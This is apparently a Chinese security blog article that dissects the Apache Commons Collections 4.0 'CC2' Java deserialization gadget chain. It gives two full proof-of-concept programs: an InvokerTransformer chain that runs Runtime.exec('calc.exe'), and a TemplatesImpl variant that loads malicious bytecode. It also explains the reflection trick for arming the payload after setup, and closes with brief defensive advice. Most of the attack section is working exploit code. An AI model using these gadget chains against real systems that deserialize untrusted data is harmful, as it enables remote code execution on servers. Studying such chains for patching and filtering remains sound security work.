Java 反序列化:Apache Commons Collections CC2 利用链深度解析
字数 1306 2025-08-30 06:50:27
Apache Commons Collections CC2 反序列化利用链深度解析
环境准备
- JDK版本:8u71(但实际测试中JDK版本影响不大)
- 依赖库:commons-collections 4.0
- Maven依赖配置:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
利用链核心分析
InvokerTransformer反射链
关键类分析
-
TransformingComparator:
- 这是commons-collections 4.0独有的比较器类
- 核心方法
compare()会调用this.transformer.transform() - 关键代码:
public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); } -
PriorityQueue:
- 作为反序列化入口点
readObject()最终会调用heapify()方法- 调用链:
readObject()→heapify()→siftDown()→siftDownUsingComparator()→comparator.compare()
利用条件
- 需要将
comparator设置为TransformingComparator对象 initialCapacity必须大于1(否则会报错)size必须≥2(通过offer()或add()方法修改)
问题与解决方案
问题:在add方法中就会触发恶意代码执行(非反序列化时)
解决方案:
- 先传入假的
faketransformers给ChainedTransformer对象 - 在反序列化前通过反射将字段修改为真实的恶意transformers
完整POC代码
public class CC2InvokerTransformerPOC {
public static void main(String[] args) throws Exception {
// 构造恶意transformers链
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
// 创建TransformingComparator
TransformingComparator comparator = new TransformingComparator(
new ConstantTransformer(1));
// 创建PriorityQueue并添加元素
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
// 通过反射修改transformer为恶意链
Field field = TransformingComparator.class.getDeclaredField("transformer");
field.setAccessible(true);
field.set(comparator, new ChainedTransformer(transformers));
// 序列化与反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
完整利用链
PriorityQueue.readObject()
→ heapify()
→ siftDown()
→ siftDownUsingComparator()
→ TransformingComparator.compare()
→ ChainedTransformer.transform()
→ ConstantTransformer.transform()
→ InvokerTransformer.transform() * 3
→ Runtime.getRuntime().exec()
TemplatesImpl字节码链
关键点
- 使用
TemplatesImpl.newTransformer()加载恶意字节码 - 代替
InvokerTransformer反射调用Runtime.getRuntime().exec()
实现方式
- 设置
transformer为InvokerTransformer对象,调用newTransformer() - 通过反射修改
queue数组的值
完整POC代码
public class CC2TemplatesImplPOC {
public static void main(String[] args) throws Exception {
// 创建TemplatesImpl对象并设置恶意字节码
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("path/to/EvilClass.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
// 设置其他必要字段
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "xx");
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
// 构造InvokerTransformer链
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(String.class)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
// 创建TransformingComparator
TransformingComparator comparator = new TransformingComparator(
new InvokerTransformer("toString", null, null));
// 创建PriorityQueue并添加元素
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(templates);
queue.add(templates);
// 通过反射修改transformer为恶意链
Field field = TransformingComparator.class.getDeclaredField("transformer");
field.setAccessible(true);
field.set(comparator, new ChainedTransformer(transformers));
// 序列化与反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
完整利用链
PriorityQueue.readObject()
→ heapify()
→ siftDown()
→ siftDownUsingComparator()
→ TransformingComparator.compare()
→ ChainedTransformer.transform()
→ ConstantTransformer.transform()
→ InvokerTransformer.transform()
→ TemplatesImpl.newTransformer()
→ 加载并执行恶意字节码
关键注意事项
- 防止提前触发:必须使用反射技术先设置无害的transformer,在序列化前修改为恶意transformer
- PriorityQueue大小:必须确保
size≥2才能触发完整的利用链 - 两种实现方式选择:
- InvokerTransformer链:直接执行命令,简单直接
- TemplatesImpl链:通过字节码执行,更隐蔽但需要准备恶意class文件
- 执行次数:TransformingComparator.compare()会调用两次transform方法,因此会触发两次恶意代码执行
防御建议
- 升级commons-collections到安全版本
- 使用Java反序列化过滤器
- 避免反序列化不可信数据
- 使用白名单机制控制可反序列化的类